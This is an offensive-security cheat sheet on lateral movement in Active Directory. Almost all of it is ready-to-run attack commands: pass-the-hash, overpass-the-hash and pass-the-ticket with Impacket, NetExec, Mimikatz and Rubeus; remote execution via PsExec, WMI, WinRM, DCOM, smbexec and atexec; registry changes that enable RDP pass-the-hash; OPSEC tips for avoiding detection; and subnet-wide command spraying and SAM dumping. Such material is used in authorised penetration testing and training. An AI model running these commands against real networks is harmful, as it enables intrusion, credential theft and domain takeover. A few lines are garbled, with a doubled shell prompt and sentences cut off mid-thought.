Lateral Movement
Move between hosts in an AD environment. PsExec, WMI, WinRM, DCOM, smbexec, atexec, RDP, Pass-the-Hash, Pass-the-Ticket, and Overpass-the-Hash from both Linux and Windows.
Sections Lateral Movement
You have credentials (password, NTLM hash, or Kerberos ticket) and local admin on at least one target. Time to move laterally to other hosts. Each execution method has different OPSEC profiles, port requirements, and detection signatures. Pick the right one for your situation.
Execution Method Comparison
| Method | Port(s) | Requires | OPSEC | Creates Service | Interactive Shell |
|---|---|---|---|---|---|
| PsExec | 445 | Local Admin + Admin$ | Low | Yes | Yes |
| smbexec | 445 | Local Admin + C$ | Low | Yes (per command) | Semi-interactive |
| atexec | 445 | Local Admin | Medium | No (uses task scheduler) | No (output to file) |
| WMI | 135 + dynamic | Local Admin | Medium | No | No (output redirect) |
| WinRM | 5985/5986 | Local Admin + WinRM enabled | Higher | No | Yes |
| DCOM | 135 + dynamic | Local Admin | Higher | No | No |
| RDP | 3389 | RDP access + logon rights | Highest | No | Full GUI |
Pass-the-Hash (PtH)
You have an NTLM hash but not the plaintext password. NTLM authentication lets you authenticate with just the hash. This works for SMB, WMI, LDAP, and other NTLM-capable protocols. It does not work for Kerberos-only authentication.
Remote (Linux)
# NetExec - check where the hash works
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -H a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# PsExec with hash
root@localhost:~# impacket-psexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# WMIExec with hash
root@localhost:~# impacket-wmiexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# smbexec with hash
root@localhost:~# impacket-smbexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# atexec with hash
root@localhost:~# impacket-atexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 "whoami"
# Evil-WinRM with hash
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -H a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# xfreerdp with hash (RDP restricted admin mode)
root@localhost:~# xfreerdp /v:10.10.11.40 /u:Administrator /pth:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /cert-ignore
Windows
# Mimikatz - inject hash into current session
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /run:powershell.exe" "exit"
# The new PowerShell window now authenticates as Administrator via NTLM
# Use it for any network operations (SMB, WMI, etc.)
LocalAccountTokenFilterPolicy set to 1 in the registry, or the account is the built-in RID 500 Administrator. By default, non-RID-500 local admin accounts get filtered tokens over the network.Overpass-the-Hash (Pass-the-Key)
Convert an NTLM hash into a Kerberos TGT. This lets you authenticate via Kerberos using just a hash, which is stealthier than NTLM-based PtH because it generates normal Kerberos traffic.
Remote (Linux)
# Impacket getTGT - get a TGT from NTLM hash
root@localhost:~# impacket-getTGT corp.local/Administrator -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 -dc-ip 10.10.11.35
root@localhost:~# export KRB5CCNAME=Administrator.ccache
# Now use Kerberos auth for any Impacket tool
root@localhost:~# impacket-psexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-wmiexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-secretsdump corp.local/Administrator@dc01.corp.local -k -no-pass
# getTGT with AES key
root@localhost:~# impacket-getTGT corp.local/Administrator -aesKey 4a3f2b1c5d6e7f8a9b0c1d2e3f4a5b6c... -dc-ip 10.10.11.35
Windows
# Rubeus - request TGT with NTLM hash
PS C:\> .\Rubeus.exe asktgt /user:Administrator /domain:corp.local /rc4:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /ptt
# Rubeus - request TGT with AES256 key (stealthier)
PS C:\> .\Rubeus.exe asktgt /user:Administrator /domain:corp.local /aes256:4a3f2b1c5d6e7f8a9b0c1d2e3f4a5b6c... /ptt /opsec
# Mimikatz overpass-the-hash
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /run:powershell.exe" "exit"
Pass-the-Ticket (PtT)
You have a Kerberos ticket (.kirbi or .ccache file). Inject it into your session and use it to access resources.
Remote (Linux)
# Set the ccache file
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache
# Use with any Impacket tool
root@localhost:~# impacket-psexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-wmiexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-smbclient corp.local/Administrator@ws01.corp.local -k -no-pass
# Evil-WinRM with Kerberos
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache
root@localhost:~# evil-winrm -i ws01.corp.local -r corp.local
# Convert .kirbi (Windows format) to .ccache (Linux format)
root@localhost:~# impacket-ticketConverter Administrator.kirbi Administrator.ccache
# And vice versa
root@localhost:~# impacket-ticketConverter Administrator.ccache Administrator.kirbi
Windows
# Rubeus - inject a .kirbi ticket into the current session
PS C:\> .\Rubeus.exe ptt /ticket:Administrator.kirbi
# Rubeus - inject a Base64-encoded ticket
PS C:\> .\Rubeus.exe ptt /ticket:doIFNjCCBTKgAwIB...
# Mimikatz - inject a ticket
PS C:\> .\mimikatz.exe "kerberos::ptt Administrator.kirbi" "exit"
# Verify the ticket is loaded
PS C:\> klist
# Now access resources using the injected ticket
PS C:\> dir \\ws01.corp.local\C$
PS C:\> Enter-PSSession -ComputerName ws01.corp.local
PsExec
Creates a service on the remote host, uploads a binary, and executes it. Returns a SYSTEM shell. Very reliable, but noisy. Creates Windows event logs for service creation.
Remote (Linux)
# Impacket PsExec (password)
root@localhost:~# impacket-psexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40
# Impacket PsExec (hash)
root@localhost:~# impacket-psexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# Impacket PsExec (Kerberos)
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache
root@localhost:~# impacket-psexec corp.local/Administrator@ws01.corp.local -k -no-pass
# NetExec command execution
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x "whoami"
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -X "Get-Process" --exec-method smbexec
Windows
# SysInternals PsExec
PS C:\> .\PsExec.exe \\ws01 -u corp\Administrator -p P@ssw0rd123 cmd.exe
# PsExec as SYSTEM
PS C:\> .\PsExec.exe \\ws01 -s cmd.exe
# PsExec using current token (if already injected via PtH)
PS C:\> .\PsExec.exe \\ws01 cmd.exe
WMI Execution
Uses Windows Management Instrumentation over DCOM. Does not create a service or write to the Admin$ share. Output is written to a file on the target and retrieved via SMB.
Remote (Linux)
# Impacket WMIExec (semi-interactive shell)
root@localhost:~# impacket-wmiexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40
# WMIExec with hash
root@localhost:~# root@localhost:~# impacket-wmiexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# Single command execution
root@localhost:~# impacket-wmiexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40 "whoami"
# NetExec with WMI method
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method wmiexec
Windows
# wmic (deprecated but still works)
PS C:\> wmic /node:ws01 process call create "cmd.exe /c whoami > C:\Temp\output.txt"
# PowerShell WMI
PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\output.txt" -ComputerName ws01
# CIM (modern replacement for WMI)
PS C:\> Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami > C:\Temp\output.txt"} -ComputerName ws01
WinRM (PowerShell Remoting)
Uses HTTP/HTTPS on ports 5985/5986. Provides a full interactive PowerShell session. Requires WinRM to be enabled on the target (enabled by default on servers since 2012).
Remote (Linux)
# Evil-WinRM (password)
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -p 'P@ssw0rd123'
# Evil-WinRM (hash)
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -H a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# Evil-WinRM (Kerberos)
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache
root@localhost:~# evil-winrm -i ws01.corp.local -r corp.local
# Evil-WinRM with script and binary upload paths
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -s /opt/scripts/ -e /opt/binaries/
# NetExec WinRM
root@localhost:~# netexec winrm 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x "whoami"
root@localhost:~# netexec winrm 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -X "Get-Process"
Windows
# Interactive session
PS C:\> Enter-PSSession -ComputerName ws01
# Interactive session with explicit credentials
PS C:\> $cred = Get-Credential
PS C:\> Enter-PSSession -ComputerName ws01 -Credential $cred
# Remote command execution
PS C:\> Invoke-Command -ComputerName ws01 -ScriptBlock { whoami; hostname }
# Execute against multiple hosts
PS C:\> Invoke-Command -ComputerName ws01,ws02,dc01 -ScriptBlock { whoami; hostname }
# Run a local script on a remote host
PS C:\> Invoke-Command -ComputerName ws01 -FilePath C:\Temp\script.ps1
DCOM Execution
DCOM (Distributed Component Object Model) objects can be abused for remote code execution. Less commonly monitored than WMI or PsExec.
Remote (Linux)
# Impacket dcomexec
root@localhost:~# impacket-dcomexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40
# dcomexec with hash
root@localhost:~# impacket-dcomexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
# Specify the DCOM object (MMC20.Application, ShellWindows, ShellBrowserWindow)
root@localhost:~# impacket-dcomexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40 -object MMC20
Windows
# MMC20.Application DCOM abuse
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "ws01"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Temp\output.txt", "7")
# ShellWindows DCOM abuse
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "ws01"))
PS C:\> $com.item().Document.Application.ShellExecute("cmd.exe", "/c whoami > C:\Temp\output.txt", "C:\Windows\System32", $null, 0)
smbexec and atexec
smbexec
Creates a temporary service for each command. Does not upload a binary. Output is written to a file and retrieved.
root@localhost:~# impacket-smbexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40
root@localhost:~# impacket-smbexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5
atexec
Uses the Windows Task Scheduler for execution. No service creation. Output saved to a file on C$ and retrieved.
root@localhost:~# impacket-atexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40 "whoami"
root@localhost:~# impacket-atexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 "whoami"
atexec is useful when SMB service creation triggers alerts. Scheduled tasks blend in with legitimate Windows management. The downside is that it is not interactive and requires polling for output.RDP (Remote Desktop)
Full GUI access. Requires RDP to be enabled and the user to be in the “Remote Desktop Users” group or have admin rights.
Remote (Linux)
# xfreerdp with password
root@localhost:~# xfreerdp /v:10.10.11.40 /u:Administrator /p:'P@ssw0rd123' /cert-ignore /dynamic-resolution
# xfreerdp with hash (Restricted Admin Mode must be enabled)
root@localhost:~# xfreerdp /v:10.10.11.40 /u:Administrator /pth:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /cert-ignore
# rdesktop
root@localhost:~# rdesktop -u Administrator -p 'P@ssw0rd123' 10.10.11.40
# Enable Restricted Admin Mode remotely (for PtH over RDP)
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
Windows
# Standard RDP
PS C:\> mstsc /v:ws01
# Enable RDP remotely via registry
PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0 -ComputerName ws01
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop" -ComputerName ws01
# SharpRDP (headless RDP command execution)
PS C:\> .\SharpRDP.exe computername=ws01 command="cmd.exe /c whoami > C:\Temp\output.txt" username=corp\Administrator password=P@ssw0rd123
DisableRestrictedAdmin set to 0). By default, this is not enabled. If you have remote code execution via another method, you can enable it via registry modification and then RDP in with a hash.Lateral Movement with NetExec (Mass Execution)
NetExec is built for lateral movement at scale. Spray commands across subnets.
# Find where you have admin access
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' | grep "Pwn3d!"
# Execute a command on all hosts where you have admin
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" | grep "Pwn3d!"
# Use different execution methods
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method smbexec
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method atexec
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method wmiexec
# Execute PowerShell across all targets
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -X "Get-Process lsass"
# Dump SAM from every host where you have admin
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' --sam